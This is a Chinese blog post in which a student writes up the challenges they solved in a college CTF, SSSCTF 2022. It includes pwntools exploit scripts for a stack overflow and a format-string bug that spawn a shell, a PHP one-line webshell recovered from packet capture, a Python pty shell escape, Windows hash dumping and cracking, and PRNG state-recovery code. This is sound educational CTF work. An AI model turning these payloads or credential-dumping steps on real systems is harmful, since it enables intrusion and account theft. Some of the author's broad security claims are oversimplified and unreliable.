SSSCTF 2022

前两天学院的科技文化节举办了有史以来的第一届CTF比赛, 我虽然没有正式学习过, 但是可是对CTF慕名已久, 既然没机会参加正式比赛那就参加这个体验一下吧, 由于比赛要求选手做完题后提交题解, 所以顺便也在博客上放一份吧, 毕竟题解体现了我整个真实的思考过程, 说不定遇到的问题对你也有些参考价值呢~

关键词: Word隐写, 内存分析, 图片隐写, 栈溢出攻击, 格式化字符串漏洞攻击, 维吉尼亚密码, Base64隐写, 卢恩(Runes)字母, 反推Python内置随机数算法(MT19937)的种子, 反推线性同余生成器(LCG)参数


这次比赛令我收获颇丰, 尽管只有短短的32小时, 但我却感觉直接学到了许多, 也拿到了对萌新来说还算不错的成绩第三名, 差点就飘了

这次CTF比赛分MISC, WEB, REVERSE, PWN, CRYPTO五个方向, 共有29道题, 带*的是签到题. 官方题解: https://dlut-sss.feishu.cn/wiki/wikcno1vgf25sAp9pkd2E20Whje

这里就只写我做出来了的题目, 没做出来的就不写思路丢人现眼了

MISC

*elden ring

这题没有看懂是什么意思,而且也没玩过艾尔登法环
在地图上找到了红圈标注的位置,但是也没明白和教堂名字有什么关系,还发现了一张名为wifu.jpg的隐藏图片,但是无法打开,用十六进制文本编辑器打开发现文件头是jfif,但是缺少开头的FF D8 FF E0,补上后打开并用百度识图发现这是菈妮,但是还是不知道有啥关系,于是放弃
直到比赛结束前,发现此题有很多人已经做出来了,所以应该很简单,灵光一现,感觉这个教堂有可能是游戏里的教堂,于是到艾尔登法环wiki里搜教堂,发现Cathedral of Manus Celes这个符合格式,得到flag

真假CTF

下载下来的只有一张png图片,所以应该是图片隐写,用Stegsolve打开,查看各个通道,未发现明显异常,因此怀疑是最低有效位隐写,打开Analyse-Data Extract,选中RGB三通道的第0位,点击preview,得到flag

你会读外星语吗?

下载下来又是一张图片,根据经验,一张534*534的颜色变化很少的图片不可能有108k这么大,所以里面一定含有其他东西,用strings查看发现里面有很多疑似文件名的字符串,怀疑里面隐藏了一些文件,用binwalk提取后得到了一堆图片,含有一堆乱码的flag.txt和flag generator.html
这堆图片的文件名看起来是md5,于是上网随便找个反查工具,发现是1~26这几个数字,猜测对应a~z,乱码的flag.txt不知道是干什么的,所以打开了flag generator.html,上面提示把flag粘贴到pre标签里,所以把flag.txt里的内容粘贴过去,然后用浏览器打开发现这就是图片里的字符,于是就得到了flag

PS:这文字实在是太抽象了,眼睛差点没给我看瞎

死亡笔记

用wireshark打开流量包,由于是“干网站”,我们只需要查看HTTP请求,而且简单看一眼可以发现服务器的ip应该是192.168.1.176,所以先应用一下过滤器:http && ip.addr==192.168.1.176,过滤掉无关流量方便之后分析
要攻击的目标是WordPress站点,其后端是php,接下来就是一点一点看请求,还原攻击者攻击网站的过程,进而找到网站后台账号,网站后台密码,木马文件名和木马连接密码
攻击者首先访问站点,发了两条评论,然后穷举字典,扫描整个网站,发现uploads里的user.txt(包序号19558)记录了所有可能的用户名,notes.txt(包序号19713)记录了所有可能的密码,接下来就是将这些用户名和密码排列组合,尝试登录,所以直接找最后一个对wp-login.php的请求(包序号30179),其对应的响应返回302重定向说明登录成功,查看该请求的body即可拿到后台账号密码。
接下来攻击者在后台寻找能够上传木马的地方,他发现了akismet插件,于是使用WordPress自带的插件编辑器在插件开头加上了echo 1;(包序号32785),然后访问这个插件(包序号32919),发现代码成功执行,接着上传了一句话木马eval($_REQUEST[SHe1l]);(包序号33816),再发送POST请求SHe1l=echo 2;验证代码是否成功执行(包序号33984),最后执行了system('whoami');就结束了(包序号34209),因此可以得到木马文件名是akismet.php,至于连接密码,这个困扰了我半天,因为没明白这个是什么意思,思来想去这木马就一句话,也就SHe1l有可能了,结果填进去还真对了
成功打开flag.docx后发现里面居然是一片空白,并没有flag,于是到网上搜Word隐写发现Word居然有一个隐藏文字的功能,到选项中打开显示隐藏文字后即可得到flag

PS: 我还记得我小时候(10年左右)看到的大多数的攻击网站的流程都是这样的,看起来很容易,但事实上现在几乎是无法这样攻击的,因为前提是需要获取可以上传可被执行的文件的后台账户和密码,而这道题为了简化,故意把账户密码暴露出来了,否则就要靠注入/暴力穷举/社工手段获得了,然而所有的orm框架都会防SQL注入的,所以只要牢记不信任用户输入,转义防XSS注入,动态语言防代码执行即可
后面做到WEB的时候有两道题虽然我没做出来,但是给我留下了深刻的印象,一道是Python的Flask框架,这道题是直接把用户传进来的参数当做模版渲染,进而造成代码执行,然后用{{config}}可以直接看到Flask的配置,从而可以获得secret_key进而伪造cookie或进行其他操作,另一道是PHP,在CTF Wiki了解到PHP类型极弱,容易造成各种代码执行漏洞,甚至还有专门的一页讲PHP代码审计,这道题是精心构造传入的字符串,进而绕过preg_match匹配的模式然后执行代码输出flag,看了题解发现自己猜错了,其实是在shell中用$、~、(、)这4个字符构造任意整数(别骂了别骂了我太菜了),但是由于没有接触过不知道应该怎么构造只好作罢,总之我的建议是如果没有必要的话现在不要用PHP写后端,动态语言最好也不要用,例如Python和Node.js等,除非是不重要的小项目或者希望快速开发,静态语言相比之下就会安全很多(建议用go),虽然并不是没有漏洞,但至少利用起来的门槛应该是相对较高的,所以这比赛要是真有Spring的题目,那估计就不可能是个院级的比赛了
这也让我对网络安全有了崭新的认识,总结一下就是现在的大部分框架都无需担心被黑,然后自己的网站后台一定要设置强密码,不要泄露出去!!!

白某的购物密码

此题是内存分析,按照网上教程使用volatility工具进行分析
首先用imageinfo查看一下内存信息,猜测系统为win7sp1

$ volatility -f 8cf9af42.vmem imageinfo
Suggested Profile(s) : Win7SP1x64, Win7SP0x64, Win2008R2SP0x64, Win2008R2SP1x64_23418, Win2008R2SP1x64, Win7SP1x64_23418

然后用pslist查看进程,发现了winrar

$ volatility -f 8cf9af42.vmem --profile=Win7SP1x64 pslist
0xfffffa8001c8c770 WinRAR.exe             2572   1612      7      227      1      0 2022-02-06 14:37:11 UTC+0000

用memdump把winrar进程dump出来

$ volatility -f 8cf9af42.vmem --profile=Win7SP1x64 memdump -p 2572 -D .

提取完毕后用十六进制文本编辑器打开,搜索一些可能出现的字符串(例如flag,ctf等),发现当前打开的文件是C:\Users\Shirai_Kuroko\Desktop\flag.zip
那就用filescan扫一下打开的文件

$ volatility -f 8cf9af42.vmem --profile=Win7SP1x64 filescan
0x000000007fb6e070     16      0 -W-r-- \Device\HarddiskVolume1\Users\SHIRAI~1\AppData\Local\Temp\Rar$DIb2572.39047\flag.txt
0x000000007eae03c0     16      0 RW---- \Device\HarddiskVolume1\Users\Shirai_Kuroko\Desktop\flag.zip

我先尝试用dumpfiles提取flag.txt,但是提取出来的是空的文件,所以尝试提取flag.zip

$ volatility -f 8cf9af42.vmem --profile=Win7SP1x64 dumpfiles -Q 0x000000007eae03c0 -D .

得到压缩包,压缩包的注释提示说Shouldn't Be Only one account,所以扫一下系统用户先

$ volatility -f 8cf9af42.vmem --profile=Win7SP1x64 hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Shirai_Kuroko:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
NekoParaExtra ARS:1001:aad3b435b51404eeaad3b435b51404ee:2bef46c5bff178fd130dc6ff4de692f1:::

发现还有一个用户叫NekoParaExtra ARS,猜测其密码就是压缩包密码
因此接下来用 John the Ripper 破解密码,这里注意linux里的john是不能破解Windows账户密码的,要用Windows版的

$ john --format=NT --show sam.txt

得到压缩包密码,解压缩后得到flag

WEB

*flag maze

签到题,打开开发人员工具在元素中即可找到flag.png

PS:禁用F12似乎没啥用,可以右键菜单点审查元素,edge也可以Ctrl+Shift+I打开开发人员工具

REVERSE

*贪吃蛇

签到题,用64位ida打开,在gamecircle函数中发现得分大于299时就会打印flag,flag是直接存储在数据段中的,所以直接复制出来就行了

PWN

*hidden

$ ls -aR
$ cd ...
$ ls -a
$ cat .flag

这目录居然叫...,太有迷惑性了,因为单独输ls -a或者ls -R都无法显示

babymaze

连上去之后发现是走迷宫,但是限时,反编译一下发现是20秒时间,再加上提示说不涉及getshell,那么就应该是写个走迷宫的程序,程序代码如下(bfs更好,但是为了写起来快我写了dfs):

#include <iostream>
#include <stack>
using namespace std;
#define N 41
#define M 21
bool maze[M][N];
deque<char> path;
bool existInPath(int x, int y) {
    return maze[y][x] == 1;
}
bool dfs(int x, int y) {
    maze[y][x] = 1;
    if (x == 39 && y == 19) {
        for (auto action : path) {
            cout << action;
        }
        cout << endl;
        return true;
    }
    if (maze[y][x+1] == 0 && !existInPath(x+1, y)) {
        path.push_back('d');
        if (dfs(x+1,y)) return true;
    }
    if (maze[y+1][x] == 0 && !existInPath(x, y+1)) {
        path.push_back('s');
        if (dfs(x,y+1)) return true;
    }
    if (maze[y][x-1] == 0 && !existInPath(x-1, y)) {
        path.push_back('a');
        if (dfs(x-1,y)) return true;
    }
    if (maze[y-1][x] == 0 && !existInPath(x, y-1)) {
        path.push_back('w');
        if (dfs(x,y-1)) return true;
    }
    path.pop_back();
    return false;
}
int main() {
    for (int i = 0; i < M; i++) {
        for (int j = 0; j < N; j++) {
            char ch;
            scanf("%c", &ch);
            maze[i][j] = ch == '#';
        }
        getchar();
    }
    if (!dfs(1, 1)) {
        cout << "无解" << endl;
    }
    return 0;
}

执行程序,把迷宫复制进去,然后把得到的wasd序列粘贴回nc就得到flag了
PS:感觉这题不需要提供可执行文件

python

import pty
pty.spawn("sh")
$ ls -la
$ cat flag

用python自带的pty模块即可打开终端执行命令

Echo Machine

此题是栈溢出攻击,原理见栈溢出原理 – CTF Wiki (ctf-wiki.org)
首先用64位ida反编译,可以看到vuln函数循环读取输入并打印出来,shell函数可以打开终端,因此我们需要把函数返回地址替换为shell函数的地址
接下来需要确定填充长度,ida提示我们字符串距离rbp的长度为0x70,因此构造的字符串如下所示:
'a' * 0x70 + 'bbbbbbbb' + p64(shell_addr)
最后写一个python脚本将这串字符串输入进去即可:

from pwn import *
sh = process('./echomachine')
shell_addr = 0x00401236
payload = 0x70 * b'a' + b'bbbbbbbb' + p64(shell_addr)
sh.sendline(payload)
print(sh.recv())
sh.interactive()

需要注意的是程序是64位的并且python3中ASCII字符串前面要加上b,下一题同理

Echo Machine V2

此题是格式化字符串漏洞攻击,原理见原理介绍 – CTF Wiki (ctf-wiki.org)
还是用64位ida反编译,在vuln函数中可以看到用printf直接输出了用户的输入,然后下面判断了如果treasure不为0就执行shell函数打开终端,treasure是全局变量,存放在bss段中,因此我们只需要构造字符串覆盖掉位于0x004040B0处的变量即可
按照CTF Wiki的“利用-覆盖任意地址内存-覆盖小数字”中所述的方法构造字符串,这里有个小技巧,就是可以把n改成p,这样可以输出要覆盖的地址的值,方便调试,最后经过多次尝试,构造出的字符串如下所示:
'a%7$naaa' + p64(treasure_addr)
最后写一个python脚本将这串字符串输入进去即可:

from pwn import *
sh = process('./echomachinev2')
treasure_addr = 0x004040B0
payload = b'a%7$naaa' + p64(treasure_addr)
sh.sendline(payload)
print(sh.recv())
sh.interactive()

CRYPTO

*键盘侠

键盘布局加密,每行为一个字母,在键盘上比划一下即可得到flag

PS: CTF Wiki 上还有各种各样的键盘加密,这都是咋想出来的呢这么无聊

classic crypto

由题目名字可得本题是古典密码,cipher.txt里面是加密过的密文,直觉感觉数字没有被加密,且[1][2]似乎是维基百科的脚注,所以到维基百科搜索1523–1596,找到了这个https://en.wikipedia.org/wiki/Vigenère_cipher,经过对比符合此条目的前三段,得知这是维吉尼亚密码,使用CTF Wiki里的在线工具破解可得到密钥,用密钥解压缩flag.zip得到flag.txt
观察flag.txt,显然是Base64编码,但用在线工具解码后得到的却是关于Base64的科普,所以这是Base64隐写,原理见:Base64隐写简介 – 知乎 (zhihu.com),随便找个脚本或者自己写一个就能解开啦

table = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
with open('flag.txt', 'r')as f:
    bin_str = ''
    line = f.readline()
    while line:
        line = line.strip()
        if len(line) > 0:
            if line[-2] == '=':
                bin_str += bin(table.index(line[-3]))[2:].zfill(4)[-4:]
            elif line[-1] == '=':
                bin_str += bin(table.index(line[-2]))[2:].zfill(2)[-2:]
        line = f.readline()
    result = ''
    for i in range(0, len(bin_str), 8):
        result += chr(int(bin_str[i : i + 8], 2))
    print(result)

赞美太阳

此题只有一张含有未知文字的图片,由于是CRYPTO分类,应该不涉及隐写,所以就在网上乱搜各种各样的符号文字,直到偶然发现了卢恩文字,感觉很像,所以到维基百科搜卢恩文字,然后照着转写一下就行了
卢恩字母 – 维基百科,自由的百科全书 (wikipedia.org)

随机数的力量

首先观察题目给出的脚本可知这个人用python的random模块生成了624个随机数并写入到了output文件中,然后又生成了4个随机数,分别转换成字符串拼接到一起,最后求MD5得到flag
我们在小学二年级就知道大多数编程语言的随机数算法都是伪随机,是用种子计算得到的,因此如果能根据这624个随机数反推出种子自然就求得了flag
根据这个思路,我在网上找到了方法:浅析MT19937伪随机数生成算法 – 安全客,安全资讯平台 (anquanke.com),简单修改代码后就能得到flag

from random import Random
import hashlib
def invert_right(m,l,val=''):
    length = 32
    mx = 0xffffffff
    if val == '':
        val = mx
    i,res = 0,0
    while i*l<length:
        mask = (mx<<(length-l)&mx)>>i*l
        tmp = m & mask
        m = m^tmp>>l&val
        res += tmp
        i += 1
    return res
def invert_left(m,l,val):
    length = 32
    mx = 0xffffffff
    i,res = 0,0
    while i*l < length:
        mask = (mx>>(length-l)&mx)<<i*l
        tmp = m & mask
        m ^= tmp<<l&val
        res |= tmp
        i += 1
    return res
def invert_temper(m):
    m = invert_right(m,18)
    m = invert_left(m,15,4022730752)
    m = invert_left(m,7,2636928640)
    m = invert_right(m,11)
    return m
def clone_mt(record):
    state = [invert_temper(i) for i in record]
    gen = Random()
    gen.setstate((3,tuple(state+[0]),None))
    return gen
def StringToMd5(str):
    h = hashlib.md5()
    h.update(str.encode(encoding='utf-8'))
    return h.hexdigest()
with open('output', 'r') as f:
    lines = f.readlines()
    prng = [int(i.strip('\n')) for i in lines]
    g = clone_mt(prng[:624])
    for i in range(624):
        g.getrandbits(32)
    flag = "SSSCTF{"
    string = ""
    for i in range(4):
        s = g.getrandbits(32)
        s = hex(s)[2:]
        string += str(s)
    string = StringToMd5(string)
    flag += string
    flag += "}"
    print(flag)

ez_LCG

nc 连上去,发现给了一堆代码和执行过程中的几个参数,要求反推seed(即state[0])
百度一下可知LCG是线性同余生成器,是一种伪随机数生成器
$$ \begin{aligned} &N=getPrime(256) \\ &a,\ b∈[0,\ N) \\ &S_0=seed \\ &S_n=aS_{(n-1)}+b\ (mod\ N) \end{aligned} $$
此题中a, b, S0未知,N和S4, S5, S6已知,因此根据递推公式能够先求出a和b,然后往回推即可求出S0
$$ \begin{aligned} &a=(S_6-S_5)/(S_5-S_4)\ (mod\ N) \\ &b=S_6-a*S_5\ (mod\ N) \\ &S_n=(S_{(n+1)}-b)/a\ (mod\ N) \end{aligned} $$
代码如下所示(懒得写循环了不要吐槽):

from gmpy2 import *
N = int(input("N: "))
output4 = int(input("output4: "))
output5 = int(input("output5: "))
output6 = int(input("output6: "))
a = (output6 - output5) * invert(output5 - output4, N) % N
b = (output6 - a * output5) % N
output3 = (output4 - b) * invert(a, N) % N
output2 = (output3 - b) * invert(a, N) % N
output1 = (output2 - b) * invert(a, N) % N
output0 = (output1 - b) * invert(a, N) % N
print(output0)

结束语

做出来的就这些了,碍于鄙人水平所限,所有的web和逆向都没做出来(因为我不会注入和动态分析QAQ),除此之外还有一些尝试了很久感觉有思路但却没做出来的题(电信诈骗,火星文,大王卡,ezShell和RRSSAA),还是稍微有些遗憾的,但总体来说收获更大,也增进了我对信息安全的了解(有空得学一下动态分析了TAT)

标题: SSSCTF 2022
作者: QingChenW
链接: https://dawncraft.cc/2022/04/365/
本文遵循 署名-非商业性使用-相同方式共享 4.0 国际 (CC BY-NC-SA 4.0) 许可
禁止商用, 非商业转载请注明作者及来源!
上一篇
下一篇
隐藏